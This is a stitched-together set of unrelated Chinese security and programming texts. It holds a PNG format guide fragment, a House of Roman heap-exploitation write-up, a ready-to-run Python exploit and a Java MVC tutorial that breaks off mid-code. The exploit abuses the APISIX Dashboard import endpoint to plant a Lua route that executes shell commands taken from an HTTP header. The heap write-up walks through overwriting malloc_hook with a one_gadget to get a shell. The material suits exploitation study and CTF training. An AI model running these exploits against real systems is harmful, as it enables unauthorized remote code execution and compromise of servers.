PLTE 和 IDAT 之前 | | PLTE | 调色板数据块 | 否 | 是 | 在 IDAT 之前 | | bKGD | 背景颜色数据块 | 否 | 是 | 在 PLTE 之后 IDAT 之前 | | hIST | 图像直方图数据块 | 否 | 是 | 在 PLTE 之后 IDAT 之前 | | tRNS | 图像透明数据块 | 否 | 是 | 在 PLTE 之后 IDAT 之前 | | oFFs | (专用公共数据块) | 否 | 是 | 在 IDAT 之前 | | pHYs | 物理像素尺寸数据块 | 否 | 是 | 在 IDAT 之前 | | sCAL | (专用公共数据块) | 否 | 是 | 在 IDAT 之前 | | IDAT | 图像数据块 | 是 | 否 | 与其他 IDAT 连续 | | tIME | 图像最后修改时间数据块 | 否 | 是 | 无限制 | | tEXt | 文本信息数据块 | 是 | 是 | 无限制 | | zTXt | 压缩文本数据块 | 是 | 是 | 无限制 | | fRAc | (专用公共数据块) | 是 | 是 | 无限制 | | gIFg | (专用公共数据块) | 是 | 是 | 无限制 | | gIFt | (专用公共数据块) | 是 | 是 | 无限制 | | gIFx | (专用公共数据块) | 是 | 是 | 无限制 | | IEND | 图像结束数据 | 否 | 否 | 最后一个数据块 | tEXt 和 zTXt 数据块中的标准关键字: | 关键字 | 说明 | | - | - | | Title | 图像名称或者标题 | | Author | 图像作者名 | | Description | 图像说明 | | Copyright | 版权声明 | | CreationTime | 原图创作时间 | | Software | 创作图像使用的软件 | | Disclaimer | 弃权 | | Warning | 图像内容警告 | | Source | 创作图像使用的设备 | | Comment | 各种注释 | --- ## 案例分析 ``` 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7A 7A F4 00 00 00 09 70 48 59 73 00 00 0B 13 00 00 0B 13 01 00 9A 9C 18 00 00 03 90 49 44 41 54 58 85 AD 97 4D 68 5C 55 1C C5 7F E7 CD 4C B2 99 85 1F 90 79 D3 22 B1 55 C4 1A 48 41 37 2E 5A 50 44 41 6D 75 A3 B1 62 9B 30 49 EB B4 50 54 C4 42 71 15 50 71 A9 14 8C 84 9A 4C 32 9A 56 B2 51 71 E1 C2 82 5A 11 AB 10 5A 5A 3F 5A 3F 21 36 99 99 34 69 AC 4E AC 64 3E FE 2E 32 1D 92 71 66 DE 7B 93 9E E5 BD E7 9E 73 DE BD F7 DD FF BD 22 00 62 47 6D 13 61 76 38 46 B7 81 0B C4 2B 5D 39 20 8B 98 B2 22 9F E4 F6 E9 77 BF 9A F2 64 0C 5B C4 0D F3 2C E2 00 D0 E5 53 F7 BC E0 CD 9B A2 A4 BE EF D1 72 CB 01 DC 94 3D 89 F1 3A 70 9B 4F E3 5A 5C 94 71 38 33 A0 89 60 01 86 2D 12 0B F3 96 C4 BE 16 8D 6B 31 1A 8E 72 F0 62 8F AE D6 76 84 6B 1B 36 8E DB CD A5 12 1F 00 DB 03 18 FC 0D 9C 41 9C C5 58 90 B8 52 36 FE 92 D1 2E 71 83 C1 8D 85 25 1E 07 DE AF 1D B8 66 06 BA 26 AD 6D 21 CF 09 9F E6 7F 48 4C 94 1C 8E CF F5 72 0E C9 02 04 AE 62 CD 0C 5C 5E 62 C8 87 F9 A2 E0 70 66 9A 77 18 54 19 80 BE 56 AC 57 50 9D 81 58 CA 76 C9 38 EE C1 FF D2 C2 3C 91 EB D5 5C EB 96 F5 02 0C 5B C4 8D 70 1E D8 DC 84 FB 85 53 E0 91 D9 A4 FE B9 5E E6 50 59 02 37 42 B2 99 B9 C1 9F 65 B1 2B 7B 9D CD AB 01 80 FD 4D 59 62 F0 52 42 59 4F B5 41 0B BB 9D 6C C3 E8 C4 E8 30 B1 A8 32 99 50 84 53 33 7D 5A A8 2B 1D 3B 6A 9B 14 E2 B7 26 B2 45 A7 40 7C 36 A9 F9 66 DE F1 94 ED 31 E3 15 A0 B3 4E 77 09 F8 5A 30 9C 99 E6 58 75 F3 02 0E 61 76 78 7C D7 94 97 79 6C CC 1E 30 23 DD C0 1C 20 04 6C 33 78 D7 BD 85 D3 EE 88 DD 5F 0D E0 C0 56 8F 00 D3 1E FD 50 A6 C7 93 73 0D A2 1B 71 22 3E 62 AF 31 69 A1 B0 59 B5 A2 35 E0 73 C5 53 D3 28 FA 28 6B AB E1 98 78 39 96 67 8B 63 B0 A1 19 D3 A0 C3 53 CE 18 07 0A 81 22 00 82 AD 8E 0F F1 5B BD 28 D9 BD FA B6 2C 1E 65 A5 26 04 C1 55 47 90 69 4A 11 DD 6E CA 3C 43 CC 25 F4 69 A9 CC DD 26 26 80 B2 17 BF 82 9C 23 31 EB 49 33 12 7E D4 2E ED D5 2F B9 84 76 3B C6 5D 82 23 C0 E5 66 7C 41 CE 29 1B 67 7D 68 1F EA 18 33 DF 97 92 D9 01 5D C8 F4 EB F9 68 9E 0D 26 9E 36 E3 AB 7A 3C 33 A6 14 1B B5 CD 82 5F 7D E8 7E 53 34 1E 9C 1F 50 D0 75 06 20 3E 66 F7 58 99 E7 80 A7 80 F6 4A 73 97 00 DC 51 FB 01 D8 E2 27 44 5B 3B 0F 4F 3F A3 C5 56 42 00 C4 D2 D6 A1 02 49 C4 43 D9 7E 6D 17 40 7C C4 5E 30 F1 86 4F 8D AC E0 50 A6 5F EF B5 1A 62 35 04 70 FB 11 6B CF 47 B9 40 E3 A3 B4 DE C8 93 06 07 73 09 9D 5B 77 00 A8 16 93 74 C0 F1 45 E0 43 8C A1 EC 80 3E 5B 57 00 00 77 C4 D2 88 3D AD 08 01 3F 9A 78 7B 79 99 F4 62 52 9E C7 77 DD 00 95 A5 F8 1C B8 B7 C5 10 00 4B 66 1C 0B 3B 0C CD 24 74 26 50 00 A8 EC D2 22 1F AD 33 C4 35 7C 1C 0A F1 D2 4C 9F 7E 6A 44 F8 5F 2D C8 F5 6A 2E 9A E7 3E 08 BC 1F EA 61 67 A9 C4 77 B1 94 ED 6C 44 68 5A 44 E3 A3 B6 DB E0 55 82 FC 1D 6B 31 27 E3 C5 E0 4F B3 55 E8 9A B4 B6 F9 25 0E C8 D8 0F DC E9 C7 55 F0 33 C6 D0 BF 45 52 5E 1B 32 D0 35 62 E3 B8 DD 51 2A F1 18 46 B7 84 6B 2B CF 73 07 31 8F 91 91 71 4A E2 E4 6C 82 D3 7E 5F 4A FF 01 C4 04 41 C2 95 92 B2 12 00 00 00 00 49 45 4E 44 AE 42 60 82 ``` 1. 文件署名域 八个字节的文件头标志,标识着 png 文件 ``` 89 50 4E 47 0D 0A 1A 0A ``` 2. IHDR 数据块 ``` 00 00 00 0D 说明 IHDR 头块长为 13 49 48 44 52 IHDR 标识(ascii 码为 IHDR) 00 00 00 20 图像的宽,32 像素 00 00 00 20 图像的高,32 像素 08 表示色深,这里是 2^8=256,即这是一个 256 色的图像 06 颜色类型,查表可知这是带 α 通道数据的真彩色图像 00 PNG Spec 规定此处总为 0(非 0 值为将来使用更好的压缩方法预留),表示使压缩方法 (LZ77 派生算法) 00 同上 00 非隔行扫描 73 7A 7A F4 CRC 校验 ``` 3. IDAT 数据块 ``` 49 44 41 54 ``` 4. IEND 数据块 ``` 00 00 00 00 49 45 4E 44 AE 42 60 82 ``` --- ## Source & Reference - [PNG图片结构分析](https://lzx.dropsec.xyz/2017/03/16/PNG%E5%9B%BE%E7%89%87%E7%BB%93%E6%9E%84%E5%88%86%E6%9E%90/) - [PNG文件格式详解](https://blog.mythsman.com/post/5d2d62b4a2005d74040ef7eb/)
sec-knowleage
# House of Roman ## 介绍 House of Roman 这个技巧说简单点其实就是 fastbin attack 和 Unsortbin attack 结合的一个小 trick。 ## 概括 该技术用于 bypass ALSR,利用12-bit 的爆破来达到获取shell的目的。且仅仅只需要一个 UAF 漏洞以及能创建任意大小的 chunk 的情况下就能完成利用。 ## 原理以及展示 作者提供给了我们一个 demo 用于展示,整个利用过程大概可以分为三步骤。 1. 将 FD 指向 malloc_hook 2. 修正 0x71 的 Freelist 3. 往 malloc_hook 写入 one gadget 先对 demo 进行一个大致的分析: 开启的保护情况: ```bash [*] '/media/psf/Home/Desktop/MyCTF/House-Of-Roman/new_chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled ``` 样题中有三个主要功能,Malloc ,Write,以及 Free。 ```c switch ( v4 ) { case 1: puts("Malloc"); v5 = malloc_chunk("Malloc"); if ( !v5 ) puts("Error"); break; case 2: puts("Write"); write_chunk("Write"); break; case 3: puts("Free"); free_chunk(); break; default: puts("Invalid choice"); break; ``` 在 Free 功能中存在 指针未置零而造成的悬挂指针。 ```c void free_chunk() { unsigned int v0; // [rsp+Ch] [rbp-4h]@1 printf("\nEnter index :"); __isoc99_scanf("%d", &v0); if ( v0 <= 0x13 ) free(heap_ptrs[(unsigned __int64)v0]); } ``` ### 第一步 首先伪造一个 chunk ,chunk的大小为0x61。紧接着我们利用 partial overwrite 将 FD 指向伪造的chunk(当然,这里我们也可以用 UAF 完成)。 伪造 chunk size ```bash pwndbg> 0x555555757050: 0x41414141 0x41414141 0x41414141 0x41414141 0x555555757060: 0x41414141 0x41414141 0x41414141 0x41414141 0x555555757070: 0x41414141 0x41414141 0x41414141 0x41414141 0x555555757080: 0x41414141 0x41414141 0x41414141 0x41414141 0x555555757090: 0x41414141 0x41414141 0x61 0x0 <---------- ``` 这里,我们 free 掉 chunk 1,这个时候我们能获得一个 unsortbin ``` 0x555555757020 PREV_INUSE { prev_size = 0x0, size = 0xd1, fd = 0x7ffff7dd1b58 <main_arena+88>, bk = 0x7ffff7dd1b58 <main_arena+88>, fd_nextsize = 0x4141414141414141, bk_nextsize = 0x4141414141414141 } ``` 接着,我们重分配 0xd1 这块 chunk,以及修改其 size 为0x71 ``` pwndbg> x/40ag 0x555555757020 0x555555757020: 0x4141414141414141 0x71 0x555555757030: 0x7ffff7dd1b58 <main_arena+88> 0x7ffff7dd1b58 <main_arena+88> 0x555555757040: 0x4141414141414141 0x4141414141414141 0x555555757050: 0x4141414141414141 0x4141414141414141 0x555555757060: 0x4141414141414141 0x4141414141414141 0x555555757070: 0x4141414141414141 0x4141414141414141 0x555555757080: 0x4141414141414141 0x4141414141414141 0x555555757090: 0x4141414141414141 0x61 ``` 我们紧接着需要修正这0x71 FD freelist ,将其伪造成已经释放的块 ``` pwndbg> x/40ag 0x555555757000 0x555555757000: 0x0 0x21 0x555555757010: 0x4141414141414141 0x4141414141414141 0x555555757020: 0x4141414141414141 0x71 <---------- free 0x71 0x555555757030: 0x7ffff7dd1b58 <main_arena+88> 0x7ffff7dd1b58 <main_arena+88> 0x555555757040: 0x4141414141414141 0x4141414141414141 0x555555757050: 0x4141414141414141 0x4141414141414141 0x555555757060: 0x4141414141414141 0x4141414141414141 0x555555757070: 0x4141414141414141 0x4141414141414141 0x555555757080: 0x4141414141414141 0x4141414141414141 0x555555757090: 0x4141414141414141 0x61 0x5555557570a0: 0x0 0x0 0x5555557570b0: 0x0 0x0 0x5555557570c0: 0x0 0x0 0x5555557570d0: 0x0 0x0 0x5555557570e0: 0x0 0x0 0x5555557570f0: 0xd0 0x71 <---------- free 0x71 0x555555757100: 0x0 0x0 0x555555757110: 0x0 0x0 0x555555757120: 0x0 0x0 0x555555757130: 0x0 0x0 ``` ``` libc : 0x7ffff7a23d28 ("malloc_hook") ``` 这个时候我们的 FD 已经在 malloc hook 附近,为之后的爆破做准备。 ### 第二步 我们只需要通过 释放一块0x71大小的 chunk 就能完成 fix。 ### 第三步 利用 unsortebin 的攻击技巧,并使用编辑功能将 onegadet 写入 。 ## 分析 exp 分配 `3` 个 `chunk` ,在 `B + 0x78` 处设置 `p64(0x61)` , 作用是 `fake size` ,用于后面 的 `fastbin attack`  ```python create(0x18,0) # 0x20 create(0xc8,1) # d0 create(0x65,2) # 0x70 info("create 2 chunk, 0x20, 0xd8") fake = "A"*0x68 fake += p64(0x61) ## fake size edit(1,fake) info("fake") ``` 释放掉 `B` , 然后分配同样大小再次分配到 `B` , 此时 `B+0x10` 和 `B+0x18` 中有 `main_arean` 的地址。分配 `3` 个 `fastbin` ,利用 `off by one` 修改 `B->size = 0x71` ``` free(1) create(0xc8,1) create(0x65,3) # b create(0x65,15) create(0x65,18) over = "A"*0x18 # off by one over += "\x71" # set chunk 1's size --> 0x71 edit(0,over) info("利用 off by one , chunk 1's size --> 0x71") ``` 生成两个 `fastbin` ,然后利用 `uaf` ,部分地址写,把 `B` 链入到 `fastbin` ```py free(2) free(3) info("创建两个 0x70 的 fastbin") heap_po = "\x20" edit(3,heap_po) info("把 chunk'1 链入到 fastbin 里面") ``` 调试看看此时 `fastbin` 的状态 ``` pwndbg> fastbins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x555555757160 —▸ 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x7ffff7dd1b78 0x80: 0x0 ``` > `0x555555757020` 就是 `chunk B` 然后通过修改 `B->fd` 的低 `2` 字节, 使得 `B->fd= malloc_hook - 0x23` ``` # malloc_hook 上方 malloc_hook_nearly = "\xed\x1a" edit(1,malloc_hook_nearly) info("部分写,修改 fastbin->fd ---> malloc_hook") ``` 然后分配 `3` 个 `0x70` 的 `chunk` ,就可以拿到 `malloc_hook` 所在的那个 `chunk` . ``` create(0x65,0) create(0x65,0) create(0x65,0) ``` 然后 `free` 掉 `E` ,进入 `fastbin` ,利用 `uaf` 设置 `E->fd = 0` , 修复了 `fastbin` ``` free(15) edit(15,p64(0x00)) info("再次生成 0x71 的 fastbin, 同时修改 fd =0, 修复 fastbin") ``` 然后是 unsorted bin 攻击,使得 malloc_hook 的值为 main_arena+88 ``` create(0xc8,1) create(0xc8,1) create(0x18,2) create(0xc8,3) create(0xc8,4) free(1) po = "B"*8 po += "\x00\x1b" edit(1,po) create(0xc8,1) info("unsorted bin 使得 malloc_hook 有 libc 的地址") ``` 利用 修改 `malloc_hook` 的低三个字节 ,使得 `malloc_hook` 为 `one_gadget` 的地址 ``` over = "R"*0x13 # padding for malloc_hook over += "\xa4\xd2\xaf" edit(0,over) info("malloc_hook to one_gadget") ``` 然后 `free` 两次同一个 `chunk` ,触发 `malloc_printerr` , `getshell` ``` free(18) free(18) ``` ## link https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc https://github.com/romanking98/House-Of-Roman https://xz.aliyun.com/t/2316
sec-knowleage
#!/usr/bin/env python3 import zlib import json import random import requests import string import sys from urllib3.exceptions import InsecureRequestWarning # Suppress only the single warning from urllib3 needed. requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) eval_config = { "Counsumers": [], "Routes": [ { "id": str(random.randint(100000000000000000, 1000000000000000000)), "create_time": 1640674554, "update_time": 1640677637, "uris": [ "/rce" ], "name": "rce", "methods": [ "GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS", "CONNECT", "TRACE" ], "script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)", "status": 1 } ], "Services": [], "SSLs": [], "Upstreams": [], "Scripts": [], "GlobalPlugins": [], "PluginConfigs": [] } def random_str(): return ''.join(random.choices(string.ascii_letters + string.digits, k=6)) def calc_crc(data): crc32 = zlib.crc32(data) & 0xffffffff return crc32.to_bytes(4, byteorder="big") def export_data(url): r = requests.get(url + "/apisix/admin/migrate/export", verify=False) return r.text[:-4] def import_data(url, data): data = json.dumps(data).encode() crc32 = calc_crc(data) files = {"file": ("data", data + crc32, "text/data")} resp = requests.post(url + "/apisix/admin/migrate/import", files=files, verify=False) # print(resp.text) if resp.json().get("code", -1) == 0: return True else: return False if __name__ == "__main__": if len(sys.argv) != 2: print("python " + sys.argv[0] + " http://127.0.0.1:9000") exit() url = sys.argv[1] if url.endswith("/"): url = url[:-1] uri = random_str() eval_config["Routes"][0]["uris"] = [ "/" + uri] eval_config["Routes"][0]["name"] = uri if import_data(url, eval_config): print("attack success") print("uri is: " + "/" + uri) else: print("attack error")
sec-knowleage
# MVC --- ## 什么是 MVC 框架 假设我们已经编写了几个JavaBean: ```java public class User { public long id; public String name; public School school; } public class School { public String name; public String address; } ``` 在 `UserServlet` 中,我们可以从数据库读取 User、School 等信息,然后,把读取到的 JavaBean 先放到 `HttpServletRequest` 中,再通过 `forward()` 传给 `user.jsp` 处理: ```java @WebServlet(urlPatterns = "/user") public class UserServlet extends HttpServlet { protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // 假装从数据库读取: School school = new School("No.1 Middle School", "101 South Street"); User user = new User(123, "Bob", school); // 放入Request中: req.setAttribute("user", user); // forward给user.jsp: req.getRequestDispatcher("/WEB-INF/user.jsp").forward(req, resp); } } ``` 在 `user.jsp` 中,我们只负责展示相关 JavaBean 的信息,不需要编写访问数据库等复杂逻辑: ```java <%@ page import="bean.*"%> <% User user = (User) request.getAttribute("user"); %> <html> <head> <title>Hello World - JSP</title> </head> <body> <h1>Hello <%= user.name %>!</h1> <p>School Name: <span style="color:red"> <%= user.school.name %> </span> </p> <p>School Address: <span style="color:red"> <%= user.school.address %> </span> </p> </body> </html> ``` * 需要展示的 User 被放入 `HttpServletRequest` 中以便传递给 JSP,因为一个请求对应一个 HttpServletRequest,我们也无需清理它,处理完该请求后 `HttpServletRequest` 实例将被丢弃; * 把 `user.jsp` 放到 `/WEB-INF/` 目录下,是因为 `WEB-INF` 是一个特殊目录,Web Server 会阻止浏览器对 `WEB-INF` 目录下任何资源的访问,这样就防止用户通过 `/user.jsp` 路径直接访问到 JSP 页面; * JSP 页面首先从 `request` 变量获取 `User` 实例,然后在页面中直接输出,此处未考虑 HTML 的转义问题,有潜在安全风险。 在浏览器访问 http://localhost:8080/user,请求首先由 `UserServlet` 处理,然后交给 user.jsp 渲染 我们把 `UserServlet` 看作业务逻辑处理,把 User 看作模型,把 `user.jsp` 看作渲染,这种设计模式通常被称为 MVC:Model-View-Controller,即 `UserServlet` `作为控制器(Controller),User` 作为模型(Model),`user.jsp` 作为视图(View),整个 MVC 架构如下: ``` ┌───────────────────────┐ ┌────>│Controller: UserServlet│ │ └───────────────────────┘ │ │ ┌───────┐ │ ┌─────┴─────┐ │Browser│────┘ │Model: User│ │ │<───┐ └─────┬─────┘ └───────┘ │ │ │ ▼ │ ┌───────────────────────┐ └─────│ View: user.jsp │ └───────────────────────┘ ``` 使用 MVC 模式的好处是,Controller 专注于业务处理,它的处理结果就是 Model。Model 可以是一个 JavaBean,也可以是一个包含多个对象的 Map,Controller 只负责把 Model 传递给 View,View 只负责把 Model 给 “渲染” 出来,这样,三者职责明确,且开发更简单,因为开发 Controller 时无需关注页面,开发 View 时无需关心如何创建 Model。 --- ## MVC高级开发 通过结合 Servlet 和 JSP 的 MVC 模式,我们可以发挥二者各自的优点: * Servlet 实现业务逻辑; * JSP 实现展示逻辑。 但是,直接把 MVC 搭在 Servlet 和 JSP 之上还是不太好,原因如下: * Servlet 提供的接口仍然偏底层,需要实现 Servlet 调用相关接口; * JSP 对页面开发不友好,更好的替代品是模板引擎; * 业务逻辑最好由纯粹的 Java 类实现,而不是强迫继承自 Servlet。 能不能通过普通的 Java 类实现 MVC 的 Controller?类似下面的代码: ```java public class UserController { @GetMapping("/signin") public ModelAndView signin() { ... } @PostMapping("/signin") public ModelAndView doSignin(SignInBean bean) { ... } @GetMapping("/signout") public ModelAndView signout(HttpSession session) { ... } } ``` 上面的这个 Java 类每个方法都对应一个 GET 或 POST 请求,方法返回值是 `ModelAndView`,它包含一个 View 的路径以及一个 Model,这样,再由 MVC 框架处理后返回给浏览器。 如果是 GET 请求,我们希望 MVC 框架能直接把 URL 参数按方法参数对应起来然后传入: ```java @GetMapping("/hello") public ModelAndView hello(String name) { ... } ``` 如果是 POST 请求,我们希望 MVC 框架能直接把 Post 参数变成一个 JavaBean 后通过方法参数传入: ```java @PostMapping("/signin") public ModelAndView doSignin(SignInBean bean) { ... } ``` 为了增加灵活性,如果 Controller 的方法在处理请求时需要访问 `HttpServletRequest`、`HttpServletResponse`、`HttpSession` 这些实例时,只要方法参数有定义,就可以自动传入: ```java @GetMapping("/signout") public ModelAndView signout(HttpSession session) { ... } ``` 以上就是我们在设计 MVC 框架时,上层代码所需要的一切信息。 --- ## 设计 MVC 框架 如何设计一个 MVC 框架?在上文中,我们已经定义了上层代码编写 Controller 的一切接口信息,并且并不要求实现特定接口,只需返回 `ModelAndView` 对象,该对象包含一个 `View` 和一个 `Model`。实际上 `View` 就是模板的路径,而 `Model` 可以用一个 `Map<String, Object>` 表示,因此,`ModelAndView` 定义非常简单: ```java public class ModelAndView { Map<String, Object> model; String view; } ``` 比较复杂的是我们需要在 MVC 框架中创建一个接收所有请求的 `Servlet`,通常我们把它命名为 `DispatcherServlet`,它总是映射到 `/`,然后,根据不同的 `Controller` 的方法定义的 `@Get` 或 `@Post` 的 Path 决定调用哪个方法,最后,获得方法返回的 `ModelAndView` 后,渲染模板,写入 `HttpServletResponse`,即完成了整个 MVC 的处理。 这个 MVC 的架构如下: ``` HTTP Request ┌─────────────────┐ ──────────────────>│DispatcherServlet│ └─────────────────┘ │ ┌────────────┼────────────┐ ▼ ▼ ▼ ┌───────────┐┌───────────┐┌───────────┐ │Controller1││Controller2││Controller3│ └───────────┘└───────────┘└───────────┘ │ │ │ └────────────┼────────────┘ ▼ HTTP Response ┌────────────────────┐ <────────────────│render(ModelAndView)│ └────────────────────┘ ``` 其中,`DispatcherServlet` 以及如何渲染均由 MVC 框架实现,在 MVC 框架之上只需要编写每一个 Controller。 我们来看看如何编写最复杂的 `DispatcherServlet`。首先,我们需要存储请求路径到某个具体方法的映射: ```java @WebServlet(urlPatterns = "/") public class DispatcherServlet extends HttpServlet { private Map<String, GetDispatcher> getMappings = new HashMap<>(); private Map<String, PostDispatcher> postMappings = new HashMap<>(); } ``` 处理一个 GET 请求是通过 `GetDispatcher` 对象完成的,它需要如下信息: ```java class GetDispatcher { Object instance; // Controller实例 Method method; // Controller方法 String[] parameterNames; // 方法参数名称 Class<?>[] parameterClasses; // 方法参数类型 } ``` 有了以上信息,就可以定义 `invoke()` 来处理真正的请求: ```java class GetDispatcher { ... public ModelAndView invoke(HttpServletRequest request, HttpServletResponse response) { Object[] arguments = new Object[parameterClasses.length]; for (int i = 0; i < parameterClasses.length; i++) { String parameterName = parameterNames[i]; Class<?> parameterClass = parameterClasses[i]; if (parameterClass == HttpServletRequest.class) { arguments[i] = request; } else if (parameterClass == HttpServletResponse.class) { arguments[i] = response; } else if (parameterClass == HttpSession.class) { arguments[i] = request.getSession(); } else if (parameterClass == int.class) { arguments[i] = Integer.valueOf(getOrDefault(request, parameterName, "0")); } else if (parameterClass == long.class) { arguments[i] = Long.valueOf(getOrDefault(request, parameterName, "0")); } else if (parameterClass == boolean.class) { arguments[i] = Boolean.valueOf(getOrDefault(request, parameterName, "false")); } else if (parameterClass == String.class) { arguments[i] = getOrDefault(request, parameterName, ""); } else { throw new RuntimeException("Missing handler for type: " + parameterClass); } } return (ModelAndView) this.method.invoke(this.instance, arguments); } private String getOrDefault(HttpServletRequest request, String name, String defaultValue) { String s = request.getParameter(name); return s == null ? defaultValue : s; } } ``` 上述代码比较繁琐,但逻辑非常简单,即通过构造某个方法需要的所有参数列表,使用反射调用该方法后返回结果。 类似的,`PostDispatcher` 需要如下信息: ```java class PostDispatcher { Object instance; // Controller实例 Method method; // Controller方法 Class<?>[] parameterClasses; // 方法参数类型 ObjectMapper objectMapper; // JSON映射 } ``` 和 GET 请求不同,POST 请求严格地来说不能有 URL 参数,所有数据都应当从 Post Body 中读取。这里我们为了简化处理,只支持 JSON 格式的 POST 请求,这样,把 Post 数据转化为 JavaBean 就非常容易。 ```java class PostDispatcher { ... public ModelAndView invoke(HttpServletRequest request, HttpServletResponse response) { Object[] arguments = new Object[parameterClasses.length]; for (int i = 0; i < parameterClasses.length; i++) { Class<?> parameterClass = parameterClasses[i]; if (parameterClass == HttpServletRequest.class) { arguments[i] = request; } else if (parameterClass == HttpServletResponse.class) { arguments[i] = response; } else if (parameterClass == HttpSession.class) { arguments[i] = request.getSession(); } else { // 读取JSON并解析为JavaBean: BufferedReader reader = request.getReader(); arguments[i] = this.objectMapper.readValue(reader, parameterClass); } } return (ModelAndView) this.method.invoke(instance, arguments); } } ``` 最后,我们来实现整个 `DispatcherServlet` 的处理流程,以 `doGet()` 为例: ```java public class DispatcherServlet extends HttpServlet { ... @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType("text/html"); resp.setCharacterEncoding("UTF-8"); String path = req.getRequestURI().substring(req.getContextPath().length()); // 根据路径查找GetDispatcher: GetDispatcher dispatcher = this.getMappings.get(path); if (dispatcher == null) { // 未找到返回404: resp.sendError(404); return; } // 调用Controller方法获得返回值: ModelAndView mv = dispatcher.invoke(req, resp); // 允许返回null: if (mv == null) { return; } // 允许返回`redirect:`开头的view表示重定向: if (mv.view.startsWith("redirect:")) { resp.sendRedirect(mv.view.substring(9)); return; } // 将模板引擎渲染的内容写入响应: PrintWriter pw = resp.getWriter(); this.viewEngine.render(mv, pw); pw.flush(); } } ``` 这里有几个小改进: * 允许 Controller 方法返回 `null`,表示内部已自行处理完毕; * 允许 Controller 方法返回以 `redirect`: 开头的 view 名称,表示一个重定向。 这样使得上层代码编写更灵活。例如,一个显示用户资料的请求可以这样写: ```java @GetMapping("/user/profile") public ModelAndView profile(HttpServletResponse response, HttpSession session) { User user = (User) session.getAttribute("user"); if (user == null) { // 未登录,跳转到登录页: return new ModelAndView("redirect:/signin"); } if (!user.isManager()) { // 权限不够,返回403: response.sendError(403); return null; } return new ModelAndView("/profile.html", Map.of("user", user)); } ``` 最后一步是在 `DispatcherServlet` 的 `init()` 方法中初始化所有 Get 和 Post 的映射,以及用于渲染的模板引擎: ```java public class DispatcherServlet extends HttpServlet { private Map<String, GetDispatcher> getMappings = new HashMap<>(); private Map<String, PostDispatcher> postMappings = new HashMap<>(); private ViewEngine viewEngine; @Override public void init() throws ServletException { this.getMappings = scanGetInControllers(); this.postMappings = scanPostInControllers(); this.viewEngine = new ViewEngine(getServletContext()); } ... } ``` 如何扫描所有 Controller 以获取所有标记有 `@GetMapping` 和 `@PostMapping` 的方法?当然是使用反射了。 这样,整个 MVC 框架就搭建完毕。 --- ## 实现渲染 如何使用模板引擎进行渲染有疑问,即如何实现上述的 `ViewEngine`?其实 `ViewEngine` 非常简单,只需要实现一个简单的 `render()` 方法: ```java public class ViewEngine { public void render(ModelAndView mv, Writer writer) throws IOException { String view = mv.view; Map<String, Object> model = mv.model; // 根据view找到模板文件: Template template = getTemplateByPath(view); // 渲染并写入Writer: template.write(writer, model); } } ``` Java 有很多开源的模板引擎,常用的有: * Thymeleaf * FreeMarker * Velocity 他们的用法都大同小异。这里我们推荐一个使用 Jinja 语法的模板引擎 Pebble,它的特点是语法简单,支持模板继承,编写出来的模板类似: ```html <html> <body> <ul> {% for user in users %} <li><a href="{{ user.url }}">{{ user.username }}</a></li> {% endfor %} </ul> </body> </html> ``` 即变量用 `{{ xxx }}` 表示,控制语句用 `{% xxx %}` 表示。 使用 Pebble 渲染只需要如下几行代码: ```java public class ViewEngine { private final PebbleEngine engine; public ViewEngine(ServletContext servletContext) { // 定义一个ServletLoader用于加载模板: ServletLoader loader = new ServletLoader(servletContext); // 模板编码: loader.setCharset("UTF-8"); // 模板前缀,这里默认模板必须放在`/WEB-INF/templates`目录: loader.setPrefix("/WEB-INF/templates"); // 模板后缀: loader.setSuffix(""); // 创建Pebble实例: this.engine = new PebbleEngine.Builder() .autoEscaping(true) // 默认打开HTML字符转义,防止XSS攻击 .cacheActive(false) // 禁用缓存使得每次修改模板可以立刻看到效果 .loader(loader).build(); } public void render(ModelAndView mv, Writer writer) throws IOException { // 查找模板: PebbleTemplate template = this.engine.getTemplate(mv.view); // 渲染: template.evaluate(writer, mv.model); } } ``` 最后我们来看看整个工程的结构: ``` web-mvc ├── pom.xml └── src └── main ├── java │ └── com │ └── itranswarp │ └── learnjava │ ├── Main.java │ ├── bean │ │ ├── SignInBean.java │ │ └── User.java │ ├── controller │ │ ├── IndexController.java │ │ └── UserController.java │ └── framework │ ├── DispatcherServlet.java │ ├── FileServlet.java │ ├── GetMapping.java │ ├── ModelAndView.java │ ├── PostMapping.java │ └── ViewEngine.java └── webapp ├── WEB-INF │ ├── templates │ │ ├── _base.html │ │ ├── hello.html │ │ ├── index.html │ │ ├── profile.html │ │ └── signin.html │ └── web.xml └── static ├── css │ └── bootstrap.css └── js ├── bootstrap.js └── jquery.js ``` 其中,`framework` 包是 MVC 的框架,完全可以单独编译后作为一个 Maven 依赖引入,`controller` 包才是我们需要编写的业务逻辑。 我们还硬性规定模板必须放在 `webapp/WEB-INF/templates` 目录下,静态文件必须放在 `webapp/static` 目录下,因此,为了便于开发,我们还顺带实现一个 `FileServlet` 来处理静态文件: ```java @WebServlet(urlPatterns = { "/favicon.ico", "/static/*" }) public class FileServlet extends HttpServlet { protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // 读取当前请求路径: ServletContext ctx = req.getServletContext(); // RequestURI包含ContextPath,需要去掉: String urlPath = req.getRequestURI().substring(ctx.getContextPath().length()); // 获取真实文件路径: String filepath = ctx.getRealPath(urlPath); if (filepath == null) { // 无法获取到路径: resp.sendError(HttpServletResponse.SC_NOT_FOUND); return; } Path path = Paths.get(filepath); if (!path.toFile().isFile()) { // 文件不存在: resp.sendError(HttpServletResponse.SC_NOT_FOUND); return; } // 根据文件名猜测Content-Type: String mime = Files.probeContentType(path); if (mime == null) { mime = "application/octet-stream"; } resp.setContentType(mime); // 读取文件并写入Response: OutputStream output = resp.getOutputStream(); try (InputStream input = new BufferedInputStream(new FileInputStream(filepath))) { 